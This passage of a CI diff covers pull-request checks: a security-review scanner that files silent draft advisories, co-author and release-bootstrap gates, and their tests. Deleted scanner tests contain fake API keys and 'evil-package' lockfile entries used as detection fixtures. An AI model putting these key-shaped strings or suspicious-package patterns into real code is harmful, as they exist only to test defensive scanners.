|
||||
name: 'security-review',
|
||||
head_sha: headSha,
|
||||
status: 'completed',
|
||||
conclusion: 'success',
|
||||
output: {
|
||||
title: 'Security Review Passed',
|
||||
summary: 'No security concerns detected.',
|
||||
},
|
||||
}),
|
||||
});
|
||||
}
|
||||
|
||||
// ── Main ──────────────────────────────────────────────────────────────────────
|
||||
|
||||
// Wall-clock budget for the whole script. The workflow job has a 5-minute
|
||||
// timeout-minutes, and `continue-on-error: true` on a step does NOT override
|
||||
// a job-level timeout — it only suppresses step failures. So if any API call
|
||||
// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled,
|
||||
// failing the `review` check. This watchdog enforces the script's documented
|
||||
// "always exit 0" contract regardless of API behaviour.
|
||||
export const SCRIPT_WATCHDOG_MS = 90_000;
|
||||
|
||||
export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) {
|
||||
const timer = setTimeout(() => {
|
||||
console.warn(
|
||||
`[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract`
|
||||
);
|
||||
exit(0);
|
||||
}, timeoutMs);
|
||||
// Don't keep the event loop alive solely for the watchdog.
|
||||
timer.unref?.();
|
||||
return timer;
|
||||
}
|
||||
|
||||
async function main() {
|
||||
const watchdog = startScriptWatchdog();
|
||||
|
||||
const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env;
|
||||
|
||||
if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) {
|
||||
console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Sanitize inputs before use in URL construction (prevents SSRF)
|
||||
const prNumber = parseInt(PR_NUMBER, 10);
|
||||
if (!Number.isInteger(prNumber) || prNumber <= 0) {
|
||||
console.error('ERROR: PR_NUMBER must be a positive integer');
|
||||
process.exit(1);
|
||||
}
|
||||
if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) {
|
||||
console.error('ERROR: GH_REPO must be in owner/repo format');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch
|
||||
const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber);
|
||||
if (stalePaths.length > 0) {
|
||||
console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:');
|
||||
for (const p of stalePaths) console.error(` - ${p}`);
|
||||
console.error('');
|
||||
console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.');
|
||||
console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const [pr, files] = await Promise.all([
|
||||
ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN),
|
||||
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
|
||||
]);
|
||||
|
||||
const allFlags = [
|
||||
...scanSecrets(files),
|
||||
...scanCITampering(files),
|
||||
...scanBuildScripts(files),
|
||||
...scanSupplyChain(files),
|
||||
...scanTestPatterns(files),
|
||||
...scanSensitivePaths(files),
|
||||
];
|
||||
|
||||
if (allFlags.length > 0) {
|
||||
console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`);
|
||||
await Promise.all([
|
||||
syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags),
|
||||
postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true),
|
||||
]);
|
||||
} else {
|
||||
console.log('[security] all clear');
|
||||
await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false);
|
||||
}
|
||||
|
||||
// Always exit 0 — security flags are silent, never block the PR publicly
|
||||
clearTimeout(watchdog);
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
if (process.argv[1] === fileURLToPath(import.meta.url)) {
|
||||
main().catch(e => { console.error(e.message); process.exit(1); });
|
||||
}
|
||||
@@ -16,6 +16,8 @@ import { checkDedupSearch } from './check-pr-dedup-search.mjs';
|
||||
import { checkTestCoverage } from './check-pr-test-coverage.mjs';
|
||||
import { checkLockfile } from './check-pr-lockfile.mjs';
|
||||
import { checkDependencies } from './check-pr-dependencies.mjs';
|
||||
import { checkReleaseBootstrap } from './check-pr-release-bootstrap.mjs';
|
||||
import { checkCoauthors, fetchAllPullRequestCommits } from './check-pr-coauthors.mjs';
|
||||
|
||||
const COMMENT_SIGNATURE = '— commitperclip';
|
||||
|
||||
@@ -105,13 +107,24 @@ async function main() {
|
||||
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
|
||||
]);
|
||||
|
||||
// Separate, and allowed to fail. The co-author note is informational: it
|
||||
// cannot fail a PR by design, so it must not be able to fail the workflow by
|
||||
// accident either. Sharing the Promise.all above would let one transient
|
||||
// 5xx on this request take down every gate, including the ones that block.
|
||||
let commits = [];
|
||||
try {
|
||||
commits = await fetchAllPullRequestCommits(ghFetch, GH_REPO, prNumber, GH_TOKEN);
|
||||
} catch (error) {
|
||||
console.error(`co-author lookup skipped: ${error.message}`);
|
||||
}
|
||||
|
||||
const prBody = pr.body ?? '';
|
||||
const author = PR_AUTHOR ?? pr.user.login;
|
||||
const branch = PR_BRANCH ?? pr.head.ref;
|
||||
|
||||
// Run all quality gates (pure functions run sync, deps check is async)
|
||||
const prTitle = pr.title ?? '';
|
||||
const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] =
|
||||
const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult, bootstrapResult] =
|
||||
await Promise.all([
|
||||
Promise.resolve(checkTemplate(prBody)),
|
||||
Promise.resolve(checkLinkedIssue(prBody, prTitle)),
|
||||
@@ -119,7 +132,9 @@ async function main() {
|
||||
Promise.resolve(checkTestCoverage(files, prTitle)),
|
||||
Promise.resolve(checkLockfile(files, author, branch)),
|
||||
checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
|
||||
checkReleaseBootstrap(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
|
||||
]);
|
||||
const coauthorResult = checkCoauthors(commits, author);
|
||||
|
||||
const allFailures = [
|
||||
...templateResult.failures,
|
||||
@@ -128,7 +143,11 @@ async function main() {
|
||||
...testResult.failures,
|
||||
...lockfileResult.failures,
|
||||
];
|
||||
const informational = depsResult.informational ?? [];
|
||||
const informational = [
|
||||
...(depsResult.informational ?? []),
|
||||
...(bootstrapResult.informational ?? []),
|
||||
...coauthorResult.informational,
|
||||
];
|
||||
const allPassed = allFailures.length === 0;
|
||||
|
||||
const commentBody = buildComment(author, allFailures, informational);
|
||||
|
||||
@@ -0,0 +1,179 @@
|
||||
import { test } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { checkCoauthors, fetchAllPullRequestCommits } from '../check-pr-coauthors.mjs';
|
||||
|
||||
function commit(login, name = null, email = null) {
|
||||
return {
|
||||
author: login ? { login } : null,
|
||||
commit: { author: { name: name ?? login, email: email ?? `${login}@users.noreply.github.com` } },
|
||||
};
|
||||
}
|
||||
|
||||
test('checkCoauthors: says nothing when every commit is the PR author\'s own', () => {
|
||||
const result = checkCoauthors(
|
||||
[commit('tonio-alucema'), commit('tonio-alucema')],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
assert.equal(result.passed, true);
|
||||
assert.deepEqual(result.informational, []);
|
||||
});
|
||||
|
||||
test('checkCoauthors: hands over the trailer when the branch carries someone else\'s commit', () => {
|
||||
// The case this exists for: a stale contributor PR rebased and landed by a
|
||||
// maintainer. Squash-merging drops the contributor unless the squash body
|
||||
// carries their trailer.
|
||||
const result = checkCoauthors(
|
||||
[commit('stubbi', 'Jannes Stubbemann'), commit('tonio-alucema')],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
assert.equal(result.informational.length, 1);
|
||||
assert.match(result.informational[0], /Jannes Stubbemann/);
|
||||
assert.match(
|
||||
result.informational[0],
|
||||
/Co-Authored-By: Jannes Stubbemann <stubbi@users\.noreply\.github\.com>/
|
||||
);
|
||||
});
|
||||
|
||||
test('checkCoauthors: never fails the PR, because the squash message does not exist yet', () => {
|
||||
// Informational only. The author of the PR cannot satisfy this from the PR,
|
||||
// so failing here would block work on something unfixable at that point.
|
||||
const result = checkCoauthors([commit('stubbi')], 'tonio-alucema');
|
||||
|
||||
assert.equal(result.passed, true);
|
||||
});
|
||||
|
||||
test('checkCoauthors: matches the PR author case-insensitively', () => {
|
||||
// GitHub logins are case-insensitive, and PR_AUTHOR does not always arrive
|
||||
// in the same case as the commit author login.
|
||||
const result = checkCoauthors([commit('Tonio-Alucema')], 'tonio-alucema');
|
||||
|
||||
assert.deepEqual(result.informational, []);
|
||||
});
|
||||
|
||||
test('checkCoauthors: ignores bots', () => {
|
||||
const result = checkCoauthors(
|
||||
[commit('github-actions[bot]'), commit('dependabot[bot]')],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
assert.deepEqual(result.informational, []);
|
||||
});
|
||||
|
||||
test('checkCoauthors: lists each contributor once, however many commits they wrote', () => {
|
||||
const result = checkCoauthors(
|
||||
[commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'Jannes Stubbemann')],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
|
||||
assert.equal(trailers.length, 1);
|
||||
});
|
||||
|
||||
test('checkCoauthors: falls back to the raw git author when GitHub matched no account', () => {
|
||||
// A commit authored with an email GitHub cannot resolve still deserves a
|
||||
// trailer — that is precisely the identity most likely to be lost.
|
||||
const result = checkCoauthors(
|
||||
[{ author: null, commit: { author: { name: 'Ada Lovelace', email: 'ada@example.com' } } }],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
assert.match(result.informational[0], /Co-Authored-By: Ada Lovelace <ada@example\.com>/);
|
||||
});
|
||||
|
||||
test('checkCoauthors: skips an unattributable commit rather than emitting a broken trailer', () => {
|
||||
const result = checkCoauthors(
|
||||
[{ author: null, commit: { author: { name: 'Nameless', email: null } } }],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
assert.deepEqual(result.informational, []);
|
||||
});
|
||||
|
||||
test('checkCoauthors: names the count rather than everyone when several contributed', () => {
|
||||
const result = checkCoauthors(
|
||||
[commit('stubbi', 'Jannes Stubbemann'), commit('elJayAdvisor', 'LJ')],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
assert.match(result.informational[0], /2 other contributors/);
|
||||
assert.match(result.informational[0], /Jannes Stubbemann/);
|
||||
assert.match(result.informational[0], /LJ/);
|
||||
});
|
||||
|
||||
test('checkCoauthors: tolerates a PR with no commits', () => {
|
||||
assert.deepEqual(checkCoauthors([], 'tonio-alucema').informational, []);
|
||||
assert.deepEqual(checkCoauthors(undefined, 'tonio-alucema').informational, []);
|
||||
});
|
||||
|
||||
test('fetchAllPullRequestCommits: pages until a short batch', async () => {
|
||||
const seen = [];
|
||||
const commits = await fetchAllPullRequestCommits(async (path) => {
|
||||
seen.push(path);
|
||||
if (path.endsWith('page=1')) return Array.from({ length: 100 }, () => commit('stubbi'));
|
||||
return [commit('tonio-alucema')];
|
||||
}, 'paperclipai/paperclip', 9900, 'token');
|
||||
|
||||
assert.equal(commits.length, 101);
|
||||
assert.equal(seen.length, 2);
|
||||
});
|
||||
|
||||
test('fetchAllPullRequestCommits: stops at the API ceiling instead of looping', async () => {
|
||||
// `/pulls/{n}/commits` caps at 250 and keeps returning full pages of nothing
|
||||
// new past that. A branch that large is not what this gate is about, but it
|
||||
// must not spin.
|
||||
let calls = 0;
|
||||
const commits = await fetchAllPullRequestCommits(async () => {
|
||||
calls += 1;
|
||||
return Array.from({ length: 100 }, () => commit('stubbi'));
|
||||
}, 'paperclipai/paperclip', 9900, 'token');
|
||||
|
||||
assert.equal(calls, 3);
|
||||
assert.equal(commits.length, 300);
|
||||
});
|
||||
|
||||
test('checkCoauthors: counts one person once when their git name varies across commits', () => {
|
||||
// People change their git config. Keying the dedup on the rendered trailer
|
||||
// would put two lines for the same contributor into the squash body.
|
||||
const result = checkCoauthors(
|
||||
[commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'J. Stubbemann')],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
|
||||
assert.equal(trailers.length, 1);
|
||||
assert.doesNotMatch(result.informational[0], /other contributors/);
|
||||
});
|
||||
|
||||
test('checkCoauthors: does not credit the PR author as a co-author of themselves', () => {
|
||||
// Their own commit, authored with an email GitHub could not match to the
|
||||
// account. Without the guard they appear in their own trailer list.
|
||||
const byName = checkCoauthors(
|
||||
[{ author: null, commit: { author: { name: 'tonio-alucema', email: 'tonio@example.com' } } }],
|
||||
'tonio-alucema'
|
||||
);
|
||||
const byEmail = checkCoauthors(
|
||||
[{ author: null, commit: { author: { name: 'Tonio', email: 'tonio-alucema@users.noreply.github.com' } } }],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
assert.deepEqual(byName.informational, []);
|
||||
assert.deepEqual(byEmail.informational, []);
|
||||
});
|
||||
|
||||
test('checkCoauthors: counts one person once when some commits matched their account and some did not', () => {
|
||||
// The mixed case: GitHub resolved one commit to the login and left another
|
||||
// unmatched, both carrying the same email. Keying on login alone emits two
|
||||
// trailers for one contributor.
|
||||
const result = checkCoauthors(
|
||||
[
|
||||
commit('stubbi', 'Jannes Stubbemann', 'jannes@example.com'),
|
||||
{ author: null, commit: { author: { name: 'Jannes Stubbemann', email: 'jannes@example.com' } } },
|
||||
],
|
||||
'tonio-alucema'
|
||||
);
|
||||
|
||||
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
|
||||
assert.equal(trailers.length, 1);
|
||||
});
|
||||
@@ -0,0 +1,265 @@
|
||||
import { test } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {
|
||||
addedWorkspaceDependencyNames,
|
||||
checkReleaseBootstrap,
|
||||
} from '../check-pr-release-bootstrap.mjs';
|
||||
|
||||
const MANIFEST_PATH = 'scripts/release-package-manifest.json';
|
||||
|
||||
function encodeManifest(entries) {
|
||||
return { content: Buffer.from(JSON.stringify(entries)).toString('base64') };
|
||||
}
|
||||
|
||||
function stubGitHub({ base = [], head = [] }) {
|
||||
return async (path) => {
|
||||
if (path.includes('ref=refs%2Fpull%2F')) return encodeManifest(head);
|
||||
if (path.includes(`/contents/`)) return encodeManifest(base);
|
||||
throw new Error(`unexpected fetch: ${path}`);
|
||||
};
|
||||
}
|
||||
|
||||
const manifestChangedFile = { filename: MANIFEST_PATH, status: 'modified' };
|
||||
|
||||
test('does nothing (and fetches nothing) when the manifest is untouched', async () => {
|
||||
const result = await checkReleaseBootstrap(
|
||||
[{ filename: 'server/src/index.ts', status: 'modified' }],
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: async () => { throw new Error('should not fetch'); },
|
||||
registryPackageExists: async () => { throw new Error('should not look up'); },
|
||||
}
|
||||
);
|
||||
|
||||
assert.deepEqual(result, { passed: true, informational: [] });
|
||||
});
|
||||
|
||||
test('notices a new publishFromCi:true package that is missing from npm', async () => {
|
||||
const result = await checkReleaseBootstrap(
|
||||
[manifestChangedFile],
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: stubGitHub({
|
||||
base: [{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true }],
|
||||
head: [
|
||||
{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true },
|
||||
{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true },
|
||||
],
|
||||
}),
|
||||
registryPackageExists: async (name) => name !== '@paperclipai/brand-new',
|
||||
}
|
||||
);
|
||||
|
||||
assert.equal(result.informational.length, 1);
|
||||
assert.match(result.informational[0], /@paperclipai\/brand-new/);
|
||||
assert.match(result.informational[0], /release:bootstrap-package -- @paperclipai\/brand-new --publish/);
|
||||
assert.match(result.informational[0], /No contributor action/);
|
||||
});
|
||||
|
||||
test('stays quiet when the new package already exists on npm', async () => {
|
||||
const result = await checkReleaseBootstrap(
|
||||
[manifestChangedFile],
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: stubGitHub({
|
||||
base: [],
|
||||
head: [{ dir: 'b', name: '@paperclipai/already-bootstrapped', publishFromCi: true }],
|
||||
}),
|
||||
registryPackageExists: async () => true,
|
||||
}
|
||||
);
|
||||
|
||||
assert.deepEqual(result.informational, []);
|
||||
});
|
||||
|
||||
test('notices a publishFromCi flip from false to true on a missing package', async () => {
|
||||
const result = await checkReleaseBootstrap(
|
||||
[manifestChangedFile],
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: stubGitHub({
|
||||
base: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: false }],
|
||||
head: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: true }],
|
||||
}),
|
||||
registryPackageExists: async () => false,
|
||||
}
|
||||
);
|
||||
|
||||
assert.equal(result.informational.length, 1);
|
||||
assert.match(result.informational[0], /@paperclipai\/flipped/);
|
||||
});
|
||||
|
||||
test('notices a publishFromCi:false package that published packages newly depend on', async () => {
|
||||
const files = [
|
||||
manifestChangedFile,
|
||||
{
|
||||
filename: 'server/package.json',
|
||||
status: 'modified',
|
||||
patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-kimi-local": "workspace:*",',
|
||||
},
|
||||
];
|
||||
|
||||
const result = await checkReleaseBootstrap(
|
||||
files,
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: stubGitHub({
|
||||
base: [],
|
||||
head: [{ dir: 'b', name: '@paperclipai/adapter-kimi-local', publishFromCi: false }],
|
||||
}),
|
||||
registryPackageExists: async () => false,
|
||||
}
|
||||
);
|
||||
|
||||
assert.equal(result.informational.length, 1);
|
||||
assert.match(result.informational[0], /depend on it/);
|
||||
assert.match(result.informational[0], /"publishFromCi": true/);
|
||||
assert.match(result.informational[0], /drop the workspace dependency/);
|
||||
});
|
||||
|
||||
test('notices a newly added dependency on an existing unpublished package even when the manifest is untouched', async () => {
|
||||
const files = [
|
||||
{
|
||||
filename: 'server/package.json',
|
||||
status: 'modified',
|
||||
patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-hermes-gateway": "workspace:*",',
|
||||
},
|
||||
];
|
||||
|
||||
const manifest = [{ dir: 'g', name: '@paperclipai/adapter-hermes-gateway', publishFromCi: false }];
|
||||
const result = await checkReleaseBootstrap(
|
||||
files,
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: stubGitHub({ base: manifest, head: manifest }),
|
||||
registryPackageExists: async () => false,
|
||||
}
|
||||
);
|
||||
|
||||
assert.equal(result.informational.length, 1);
|
||||
assert.match(result.informational[0], /@paperclipai\/adapter-hermes-gateway/);
|
||||
assert.match(result.informational[0], /depend on it/);
|
||||
});
|
||||
|
||||
test('stays quiet for a publishFromCi:false package nothing depends on', async () => {
|
||||
const result = await checkReleaseBootstrap(
|
||||
[manifestChangedFile],
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: stubGitHub({
|
||||
base: [],
|
||||
head: [{ dir: 'b', name: '@paperclipai/deliberately-private', publishFromCi: false }],
|
||||
}),
|
||||
registryPackageExists: async () => { throw new Error('should not look up'); },
|
||||
}
|
||||
);
|
||||
|
||||
assert.deepEqual(result.informational, []);
|
||||
});
|
||||
|
||||
test('never looks up names outside the @paperclipai scope', async () => {
|
||||
const lookedUp = [];
|
||||
const result = await checkReleaseBootstrap(
|
||||
[manifestChangedFile],
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: stubGitHub({
|
||||
base: [],
|
||||
head: [
|
||||
{ dir: 'x', name: '@evil/probe', publishFromCi: true },
|
||||
{ dir: 'y', name: 'unscoped-name', publishFromCi: true },
|
||||
{ dir: 'z', name: '@paperclipai/UPPER', publishFromCi: true },
|
||||
],
|
||||
}),
|
||||
registryPackageExists: async (name) => {
|
||||
lookedUp.push(name);
|
||||
return false;
|
||||
},
|
||||
}
|
||||
);
|
||||
|
||||
assert.deepEqual(lookedUp, []);
|
||||
assert.deepEqual(result.informational, []);
|
||||
});
|
||||
|
||||
test('stays quiet when the registry lookup fails', async () => {
|
||||
const result = await checkReleaseBootstrap(
|
||||
[manifestChangedFile],
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: stubGitHub({
|
||||
base: [],
|
||||
head: [{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }],
|
||||
}),
|
||||
registryPackageExists: async () => { throw new Error('registry down'); },
|
||||
}
|
||||
);
|
||||
|
||||
assert.deepEqual(result, { passed: true, informational: [] });
|
||||
});
|
||||
|
||||
test('treats a missing base manifest as empty (every head entry is new)', async () => {
|
||||
const result = await checkReleaseBootstrap(
|
||||
[manifestChangedFile],
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
9967,
|
||||
'master',
|
||||
{
|
||||
fetchFromGitHub: async (path) => {
|
||||
if (path.includes('ref=refs%2Fpull%2F')) {
|
||||
return encodeManifest([{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }]);
|
||||
}
|
||||
throw new Error('404 base manifest');
|
||||
},
|
||||
registryPackageExists: async () => false,
|
||||
}
|
||||
);
|
||||
|
||||
assert.equal(result.informational.length, 1);
|
||||
});
|
||||
|
||||
test('addedWorkspaceDependencyNames reads only added lines of package.json patches', () => {
|
||||
const names = addedWorkspaceDependencyNames([
|
||||
{
|
||||
filename: 'server/package.json',
|
||||
patch: [
|
||||
'@@ -1,3 +1,4 @@',
|
||||
' "@paperclipai/context-line": "workspace:*",',
|
||||
'- "@paperclipai/removed-dep": "workspace:*",',
|
||||
'+ "@paperclipai/added-dep": "workspace:*",',
|
||||
].join('\n'),
|
||||
},
|
||||
{ filename: 'ui/src/index.ts', patch: '+ "@paperclipai/not-a-pkg-json": "workspace:*",' },
|
||||
{ filename: 'node_modules/x/package.json', patch: '+ "@paperclipai/vendored": "workspace:*",' },
|
||||
]);
|
||||
|
||||
assert.deepEqual([...names], ['@paperclipai/added-dep']);
|
||||
});
|
||||
@@ -1,380 +0,0 @@
|
||||
import { test } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {
|
||||
buildAdvisoryPayload,
|
||||
findExistingDraftAdvisory,
|
||||
postSecurityCheckRun,
|
||||
scanSecrets,
|
||||
scanCITampering,
|
||||
scanBuildScripts,
|
||||
scanSupplyChain,
|
||||
scanTestPatterns,
|
||||
scanSensitivePaths,
|
||||
startScriptWatchdog,
|
||||
syncDraftAdvisory,
|
||||
validateSensitivePaths,
|
||||
} from '../check-pr-security.mjs';
|
||||
import { ghFetch } from '../get-bot-token.mjs';
|
||||
|
||||
// ── scanSecrets ──────────────────────────────────────────────────────────────
|
||||
|
||||
test('scanSecrets: flags OpenAI key in added line', () => {
|
||||
const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
|
||||
assert.ok(scanSecrets(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanSecrets: flags AWS key in added line', () => {
|
||||
const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
|
||||
assert.ok(scanSecrets(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanSecrets: ignores removed lines', () => {
|
||||
const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
|
||||
assert.equal(scanSecrets(files).length, 0);
|
||||
});
|
||||
|
||||
test('scanSecrets: ignores files without patch', () => {
|
||||
assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
|
||||
});
|
||||
|
||||
// ── scanCITampering ──────────────────────────────────────────────────────────
|
||||
|
||||
test('scanCITampering: flags workflow file changes', () => {
|
||||
const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
|
||||
assert.ok(scanCITampering(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanCITampering: ignores non-workflow files', () => {
|
||||
const files = [{ filename: 'src/foo.ts', status: 'modified' }];
|
||||
assert.equal(scanCITampering(files).length, 0);
|
||||
});
|
||||
|
||||
test('scanCITampering: ignores removed workflow files', () => {
|
||||
const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
|
||||
assert.equal(scanCITampering(files).length, 0);
|
||||
});
|
||||
|
||||
// ── scanBuildScripts ─────────────────────────────────────────────────────────
|
||||
|
||||
test('scanBuildScripts: flags changes to release.sh', () => {
|
||||
const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
|
||||
assert.ok(scanBuildScripts(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanBuildScripts: ignores non-CI scripts', () => {
|
||||
const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
|
||||
assert.equal(scanBuildScripts(files).length, 0);
|
||||
});
|
||||
|
||||
// ── scanSupplyChain ──────────────────────────────────────────────────────────
|
||||
|
||||
test('scanSupplyChain: flags net-new packages in lockfile', () => {
|
||||
const patch = `@@ -1,3 +1,4 @@
|
||||
packages:
|
||||
+ 'evil-package@1.0.0':
|
||||
'existing-package@2.0.0':
|
||||
- 'old-package@1.0.0':
|
||||
`;
|
||||
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
||||
const flags = scanSupplyChain(files);
|
||||
assert.ok(flags.length > 0);
|
||||
assert.ok(flags[0].packages.includes('evil-package'));
|
||||
});
|
||||
|
||||
test('scanSupplyChain: does not flag version-only bumps', () => {
|
||||
const patch = `@@ -1,3 +1,3 @@
|
||||
packages:
|
||||
- 'existing-package@1.0.0':
|
||||
+ 'existing-package@2.0.0':
|
||||
`;
|
||||
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
||||
assert.equal(scanSupplyChain(files).length, 0);
|
||||
});
|
||||
|
||||
test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
|
||||
const patch = `@@ -1,2 +1,3 @@
|
||||
+evil-package@1.0.0:
|
||||
existing-package@2.0.0:
|
||||
`;
|
||||
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
||||
const flags = scanSupplyChain(files);
|
||||
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
|
||||
});
|
||||
|
||||
test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
|
||||
const patch = `@@ -1,2 +1,2 @@
|
||||
-@scope/pkg@1.0.0(react@18.2.0):
|
||||
+@scope/pkg@2.0.0(react@18.2.0):
|
||||
`;
|
||||
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
||||
assert.equal(scanSupplyChain(files).length, 0);
|
||||
});
|
||||
|
||||
test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
|
||||
const patch = `@@ -1,2 +1,3 @@
|
||||
+evil-package@1.0.0(react@18.2.0):
|
||||
existing-package@2.0.0:
|
||||
`;
|
||||
const files = [{ filename: 'pnpm-lock.yaml', patch }];
|
||||
const flags = scanSupplyChain(files);
|
||||
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
|
||||
});
|
||||
|
||||
test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
|
||||
const calls = [];
|
||||
const fakeFetch = async (path) => {
|
||||
calls.push(path);
|
||||
if (/[?&]page=1(?:&|$)/.test(path)) {
|
||||
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
|
||||
}
|
||||
if (/[?&]page=2(?:&|$)/.test(path)) {
|
||||
return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
|
||||
}
|
||||
return [];
|
||||
};
|
||||
|
||||
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
|
||||
|
||||
assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
|
||||
assert.equal(calls.length, 2);
|
||||
});
|
||||
|
||||
test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
|
||||
const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
|
||||
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
|
||||
assert.equal(advisory, null);
|
||||
});
|
||||
|
||||
test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => {
|
||||
let pageCount = 0;
|
||||
const fakeFetch = async () => {
|
||||
pageCount += 1;
|
||||
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` }));
|
||||
};
|
||||
|
||||
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
|
||||
|
||||
assert.equal(advisory, null);
|
||||
assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`);
|
||||
});
|
||||
|
||||
test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
|
||||
const calls = [];
|
||||
const flags = [
|
||||
